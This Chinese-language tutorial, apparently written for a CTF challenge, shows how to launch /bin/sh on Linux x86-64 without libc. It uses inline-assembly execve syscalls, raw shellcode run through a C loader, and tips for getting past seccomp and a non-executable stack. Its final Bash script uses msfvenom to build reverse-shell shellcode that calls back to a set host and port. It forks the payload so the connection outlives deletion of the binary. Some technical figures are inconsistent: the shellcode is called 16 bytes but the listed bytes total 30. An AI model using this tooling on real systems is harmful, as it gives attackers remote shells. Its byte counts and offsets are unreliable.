绕过 C 标准库限制执行系统命令:系统调用、Shellcode 和裸机二进制
引言
在某些编程挑战或受限环境中,例如 CTF竞赛或嵌入式系统,C 标准库(libc)可能被明确禁止使用。这种限制阻止了使用便捷的函数,如 system()
或 execve()
,迫使开发者直接与操作系统交互。
在一道题目中,给定了编译参数如下: gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out
,它禁用了标准库的包含,并放宽了某些安全限制,为使用低级技术(如系统调用和 shellcode)打开了大门。本文将探讨在 Linux x86-64 系统上如何绕过这些限制以执行任意命令,特别是启动 /bin/sh
,主要通过两种方法:不使用 libc 的手写 C 系统调用和纯 shellcode 注入。我们还将讨论常见问题、优化技巧和实际实现,包括一个 shellcode 加载器脚本。
理解约束
给定的编译参数提供了关键的环境信息:
-nostdinc
:阻止包含标准 C 库头文件,确保代码不能依赖标准库。-z execstack
:使栈内存可执行,允许在栈上运行代码(如 shellcode)。-fno-stack-protector
:禁用栈溢出保护(栈缓冲区溢出检查),便于利用栈溢出。-no-pie
:禁用位置无关可执行文件(PIE),生成的二进制文件使用固定地址,便于 shellcode 跳转。-std=c11
:使用 C11 标准,但不影响核心限制。-I/var/www/include
:指定自定义头文件路径,但不提供标准库功能。
目标是通过直接与 Linux 内核交互,执行 /bin/sh
,而核心方法是使用 execve
系统调用(系统调用号 59)。由于标准库被禁用,我们需要通过内联汇编直接调用 syscall
指令或使用纯 shellcode 来实现。
方法一:手写系统调用(无 libc 的 C 程序)
实现原理
Linux 内核通过系统调用(syscall)提供服务,允许用户态程序请求内核执行特定操作,例如启动新进程或打开文件。execve
系统调用可以执行 /bin/sh
,其原型为:
int execve(const char *pathname, char *const argv[], char *const envp[]);
在 x86-64 架构下,系统调用通过 syscall
指令触发,参数通过寄存器传递(rdi
、rsi
、rdx
等),系统调用号存储在 rax
中。对于 execve
,我们需要:
rax = 59
(execve
的系统调用号)rdi
:指向/bin/sh
字符串的指针rsi
:argv
(通常为NULL
)rdx
:envp
(通常为NULL
)
由于不能使用 libc,我们需要通过内联汇编直接发出 syscall
,并确保程序不依赖标准库的启动代码(如 crt0
)。
最小 C 代码实现
以下是一个最小化的 C 程序,使用内联汇编实现 execve("/bin/sh", NULL, NULL)
:
// mini.c
__attribute__((naked, noreturn)) void _start() {asm volatile("lea binsh(%rip), %rdi \n\t" // pathname"xor %rsi, %rsi \n\t" // argv = NULL"xor %rdx, %rdx \n\t" // envp = NULL"mov $59, %rax \n\t" // execve"syscall \n\t""hlt \n\t" // never return"binsh: .asciz \"/bin/sh\"");
}
代码解析
__attribute__((naked, noreturn))
:naked
:告诉编译器不要为函数生成序言和结尾代码(例如栈帧设置),完全由汇编控制。noreturn
:指示函数不会返回,避免编译器生成不必要的返回代码。
_start
:这是程序的入口点,取代标准 C 的main
函数,因为我们不使用 libc 的启动代码。- 内联汇编:
lea binsh(%rip), %rdi
:将/bin/sh
字符串的地址加载到rdi
(RIP 相对寻址,确保位置无关)。xor %rsi, %rsi
和xor %rdx, %rdx
:将argv
和envp
设置为NULL
。mov $59, %rax
:设置系统调用号为 59(execve
)。syscall
:触发系统调用,执行/bin/sh
。hlt
:停止执行,防止程序继续运行(实际上不会到达此指令,因为execve
会替换进程映像)。binsh: .asciz "/bin/sh"
:定义一个以空字符结尾的字符串/bin/sh
。
编译与链接
为了生成不依赖 libc 的可执行文件,使用以下命令:
gcc -nostdlib -static -Wl,--build-id=none -o mini mini.c
strip -s mini
-nostdlib
:不链接标准库或启动代码,确保二进制文件完全独立。-static
:静态链接,避免依赖动态链接器(如ld.so
)。-Wl,--build-id=none
:移除构建 ID,进一步减小二进制体积。strip -s mini
:去除符号表和调试信息,将二进制文件缩小到几百字节。
生成的 mini
文件是一个极小的静态二进制文件,直接调用内核的 execve
服务,启动 /bin/sh
。
优化与控制体积
静态链接可能会生成较大的二进制文件(几 KB)。为了进一步优化,可以使用自定义链接脚本:
ld -Ttext 0x400000 -e _start mini.o -o mini
-Ttext 0x400000
:将代码段起始地址设置为 0x400000(ELF 默认文本段地址)。-e _start
:指定入口点为_start
。mini.o
:由gcc -c mini.c
编译得到的目标文件。
这种方法可以将二进制文件控制在 1 KB 以内,适合受限环境。
方法二:纯 Shellcode 实现
实现原理
Shellcode 是一段紧凑的机器码,设计为在受限环境中直接执行。由于题目放宽了栈保护(-z execstack
和 -fno-stack-protector
),我们可以将 shellcode 写入可执行内存(例如栈或数据段),然后跳转执行。以下是一个 16 字节的 shellcode,用于调用 execve("/bin/sh", NULL, NULL)
:
; nasm -f bin sh.s -o sh.bin
BITS 64lea rdi, [rel binsh]xor rsi, rsixor rdx, rdxmov rax, 59syscall
binsh: db "/bin/sh",0
机器码
汇编后,生成以下 16 字节机器码:
48 8D 3D 0E 00 00 00 ; lea rdi,[rip+0xe]
48 31 F6 ; xor rsi,rsi
48 31 D2 ; xor rdx,rdx
48 C7 C0 3B 00 00 00 ; mov rax,0x3b
0F 05 ; syscall
2F 62 69 6E 2F 73 68 00 ; "/bin/sh",0
使用场景
如果题目存在栈溢出漏洞,并且栈可执行(由 -z execstack
保证),可以将上述机器码写入栈或其他可执行内存区域,然后将控制流跳转到该地址。跳转可以通过以下方式实现:
- 栈溢出:覆盖返回地址为 shellcode 地址。
- 函数指针覆盖:将函数指针指向 shellcode。
- 直接调用:将 shellcode 放入
.data
或.bss
段,转换为函数指针调用。
加载 Shellcode 的 C 程序
为了方便注入 shellcode,可以使用以下 C 程序加载并执行它:
int main(void) {unsigned char sc[] = {0x48, 0x8D, 0x3D, 0x0E, 0x00, 0x00, 0x00,0x48, 0x31, 0xF6,0x48, 0x31, 0xD2,0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00,0x0F, 0x05,0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00};((void(*)())sc)();return 0;
}
sc[]
:存储 shellcode 的字节数组。((void(*)())sc)()
:将数组转换为函数指针并调用,执行 shellcode。
编译时使用题目提供的参数:
gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out
由于 -z execstack
,sc[]
所在的栈内存是可执行的,shellcode 将直接运行并启动 /bin/sh
。
常见问题与解决方案
在实际环境中,可能遇到以下挑战:
-
没有
/bin/sh
:- 解决方法:使用
open
、read
和write
系统调用实现一个简单的 shell。例如:
通过这些调用读写标准输入输出,模拟 shell 功能。int open(const char *pathname, int flags); ssize_t read(int fd, void *buf, size_t count); ssize_t write(int fd, const void *buf, size_t count);
- 替代方法:使用
openat
和execveat
访问/proc/self/fd/3
等文件描述符。
- 解决方法:使用
-
Seccomp 沙箱限制:
- 解决方法:
- 使用
prctl(PR_SET_SECCOMP, 0)
尝试禁用 seccomp(需要权限)。 - 使用
ptrace
修改自身进程的 seccomp 规则(高级技巧)。 - 退而求其次,使用
open
、read
和write
系统调用(通常未被 seccomp 禁用)实现 ORW(Open-Read-Write)攻击。
- 使用
- 解决方法:
-
栈不可执行:
- 解决方法:
- 将 shellcode 放入
.bss
或.data
段(这些段通常是可写的)。 - 使用
mmap
系统调用分配一块 RWX(可读、可写、可执行)内存:
设置void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
prot = PROT_READ | PROT_WRITE | PROT_EXEC
,flags = MAP_PRIVATE | MAP_ANONYMOUS
。
- 将 shellcode 放入
- 解决方法:
-
二进制文件体积过大:
- 解决方法:如前所述,使用自定义链接脚本或
strip
工具减少体积。 - 极致优化:直接生成纯机器码(shellcode),避免 ELF 文件头。
- 解决方法:如前所述,使用自定义链接脚本或
Shellcode 加载器脚本
为了自动化生成反弹 shell 的 shellcode 并嵌入 C 程序,我写了如下 Bash 脚本:
#!/usr/bin/env bash
LHOST="192.168.56.10"
LPORT="4444"
OUT_C="test.c"# 1. 生成 shellcode
msfvenom -p linux/x64/shell_reverse_tcp \LHOST="$LHOST" LPORT="$LPORT" \-f raw 2>/dev/null > /tmp/rev.raw
[[ -s /tmp/rev.raw ]] || { echo "[-] msfvenom failed"; exit 1; }# 2. 转换为十六进制
SC_HEX=$(xxd -p -c 1 /tmp/rev.raw | sed 's/^/0x/' | paste -sd',' -)# 3. 生成 C 文件(子进程执行)
cat > "$OUT_C" <<EOF
int fork(void);
int execve(const char *p, char *const a[], char *const e[]);int main(void)
{if (fork() == 0) {unsigned char sc[] = {$SC_HEX};((void(*)())sc)();}return 0;
}
EOFecho "[+] Generated $OUT_C"
脚本解析
msfvenom
:使用 Metasploit 的msfvenom
生成反向 shell shellcode,连接到指定LHOST
和LPORT
。xxd
:将原始 shellcode 转换为十六进制格式,适配 C 数组。fork()
:在 C 程序中创建子进程执行 shellcode,主进程保持运行,确保二进制文件被删除后不断连。
使用方法
- 设置
LHOST
和LPORT
为你的监听地址和端口。 - 运行脚本,生成
test.c
。 - 使用题目提供的编译命令编译:
gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out
- 在
LHOST:LPORT
上启动监听器(如nc -lvp 4444
),运行a.out
,获取反向 shell。
结论
在禁用 C 标准库的 Linux x86-64 环境中,通过直接使用 syscall
指令或 shellcode,我们可以绕过限制并执行任意命令(如启动 /bin/sh
)。方法一(C 系统调用)适合快速开发和调试,方法二(纯 shellcode)则适合极小体积和漏洞利用场景。
总的来说,“禁止 libc” 只是让你丢掉 system() 这种糖,无论环境如何限制,只要还能发出 0x80 或 syscall 指令,你就能让内核干活。